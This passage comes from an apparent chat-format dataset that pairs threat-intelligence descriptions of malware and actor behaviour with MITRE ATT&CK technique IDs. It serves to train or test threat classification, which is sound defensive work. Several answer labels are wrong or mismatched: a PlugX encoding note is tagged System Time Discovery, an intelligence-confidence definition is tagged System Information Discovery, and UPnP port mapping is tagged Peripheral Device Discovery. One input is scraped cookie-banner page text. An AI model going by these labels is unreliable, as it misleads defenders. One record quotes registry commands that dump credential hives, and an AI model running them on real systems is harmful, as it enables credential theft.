                "content": "Similar to its dropper, the binary seeks to evade sandboxes. In addition to the previously described trick EvilBunny performs hook detection to trick environments which hook time retrieval APIs. These are NtQuerySystemTime, GetSystemTimeAsFileTime and GetTickCount. Every API is called twice to calculate a delta, while performing a sleep(1000) operation between iteration one and iteration two. This can only be the case if any of the three API’s return values is modified by a system monitoring solution, like a sandbox"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUGARDUMP has stored collected data under `%<malware_execution_folder>%\\\\CrashLog.txt`."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has used watering hole attacks to gain access."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It uses a GetCurrentProcessID to find the process ID of the current process. It compares the UniqueProcessID member of the SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX structure with the current process ID"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 obtained a KeePass database from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has cleared logs during post compromise cleanup activities."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear has used DLL side loading to import and load a malicious DLL loader."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used PowerShell scripts for execution, including use of a macro to run a PowerShell command to decode file contents."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the bot is running with a regular user privilege, persistence is established using the registry “Run” method. The loader DLL component is written to “%APPDATA%\\mswinload[.]dll” and a “mswinload” value is added to the “Run” key to execute ordinal #1 of the DLL with rundll32[.]exe"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encodes C2 traffic with Base64."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit can be used as a tool for the discovery of stored credentials. Specifically it supports the following modules which will check for credentials encrypted or plain-text in various files and in the registry"
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET uses AppleScript to check the host's language and location with the command \"user locale of (get system info)\"."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command index table and command handler address table.  Implant Capabilities Based on the responses received from the control server, the malware can carry out the following malicious tasks:  Recursively generate a list of files in a directory and send to the control server Terminate a specific process"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both responses instruct the malware to download and load a remote plugin"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dir command to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest. The actors used dir.exe to display a list of a directory's files and subdirectories matching a certain text string."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VBShower has attempted to obtain a VBS script from command and control (C2) nodes over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aquatic Panda has deleted malicious executables from compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XAgentOSX contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST removed IFEO registry values to clean up traces of persistence."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses tasklist /v to check running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used the \"Get-ManagementRoleAssignment\" PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors used a variety of utilities, including publicly available versions of WinRAR® , to archive collected data with password protection."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BISCUIT uses SSL for encrypting C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Small Sieve can contact actor-controlled C2 servers by using the Telegram API over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains keylogging functionality to steal passwords."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHOTPUT is obscured using XOR encoding and appended to a valid GIF file."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It reads and executes commands from a text file stored in Mega cloud storage"
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage Object"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear had used `cmd.exe` and Windows Script Host (wscript) to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Evilnum has deleted files used during infection."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY has copied data from social media sites to impersonate targeted individuals."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Its encoding method has been modified from time to time, aligned with major upgrade of PlugX itself"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a backup communication method with an HTTP beacon."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot has executed downloaded DLLs with \"rundll32.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Two PDF files (***_SPE_LEOS and ***_HPC_SE) with aerospace &amp; defense industry themed images, created via the Microsoft Print to PDF service, were submitted along with ***_ECS_EPM.docx. The naming convention of these PDF files was very similar to the malicious documents used. The name includes abbreviations for positions at the defense contractor much like the malicious documents. The Microsoft Print to PDF service enables content from a Microsoft Word document be printed to PDF directly. The PDFs were discovered in an archive file indicating that LinkedIn may have been a possible vector utilized by the adversaries to target victims. This is a similar vector as to what has been observed in a campaign reported by industry[7], however as mentioned earlier the research covered in this blog is part of a different activity set"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  downloader uses the Windows command \"cmd.exe\" /C whoami. The group also uses a tool to execute commands on remote computers."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This tool was originally intended to aid defenders in simulating obfuscated PowerShell commands to better their defenses"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can monitor files for changes and automatically collect them."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideCopy has sent spearphishing emails with malicious hta file attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into memory, which are used whenever a graphical call (GDI) is made by the process. To hijack the control flow, malware replaces the USER32. _fnDWORD callback in the table with the malicious WMIsAvailableOffline function. Once the flow is hijacked and malicious code is executed the rest of the code takes care of restoring the KernelCallbackTable to its original state"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak has copied legitimate service names to use for malicious services."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot collects email addresses from Outlook."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Low confidence generally means that the information's credibility and/or plausibility is questionable, or that the information is too fragmented or poorly corroborated to make solid analytic inferences, or that [there are] significant concerns or problems with the sources"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can manipulate Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has registered multiple domains to facilitate payload staging and C2."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A gh0st RAT variant has used rundll32 for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used keylogging tools called KEYPUNCH and LONGWATCH."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has relied on users to execute malicious file attachments delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has a tool that exfiltrates data over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains a module for taking packet captures on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel has used `cmd.exe` to scan a compromised host for specific file extensions."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands. The group has used an exploit toolkit known as Threadkit that launches .bat files."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke uses a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can use a legitimate process name to hide itself."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT has used AES ciphertext to encode C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used \"ipconfig /all\" to obtain information about the victim network configuration. The group also ran a modified version of NBTscan to identify available NetBIOS name servers."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leafminer used a tool called Total SMB BruteForcer to perform internal password spraying."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner has used a Unix shell script to run a series of commands targeting macOS."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors leveraged a custom tool to dump OS credentials and used following commands: `reg save HKLM\\\\SYSTEM system.hiv`, `reg save HKLM\\\\SAM sam.hiv`, and `reg save HKLM\\\\SECURITY security.hiv`, to dump SAM, SYSTEM and SECURITY hives."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used Blogspot to host malicious content such as beacons, file exfiltrators, and implants."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a “file://” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. Note: a file transfer is not necessary for a loss of credential information. Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. 1](link is external"
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used C2 infrastructure to receive exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can map UPnP ports."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "provides access using both standard facilities like SSH and additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang uses command-line interaction to search files and directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If you continue browsing the site, you agree to the use of cookies on this website. If you continue browsing the site, you agree to the use of cookies on this website. Home - Explore Submit Search . - Upload - Login - Signup - Upload - Home - Explore - Login - Signup Activate your 30 day free trial to unlock unlimited reading. Facebook - Twitter - LinkedIn - Share - Email - - No Easy Breach DerbyCon 2016 . 22 . Share . Download to read offline . Every IR presents unique challenges. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. All rights reserved.24 Our Response: Increased PowerShell Visibility • Upgraded the environment to PowerShell 3.0 and enabled logging • Logging captured input/output, variable initialization, etc. Captured entire functions of PS scripts, attacker commands, script output, etc. Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. Unlimited Reading . Learn faster and smarter from top experts . Unlimited Downloading . Download to take your learnings offline and on the go . You also get free access to Scribd"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JCry has been observed deleting shadow copies to ensure that data cannot be restored easily."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer stores the encoded configuration file in the Registry key \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Security\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to disable local firewall settings."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"tDiscoverer\" variant of HAMMERTOSS establishes a C2 channel by downloading resources from Web services like Twitter and GitHub. HAMMERTOSS binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has exploited Microsoft Word vulnerability CVE-2014-4114 for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperBro has the ability to download additional files."
            },
            {
                "role": "assistant",
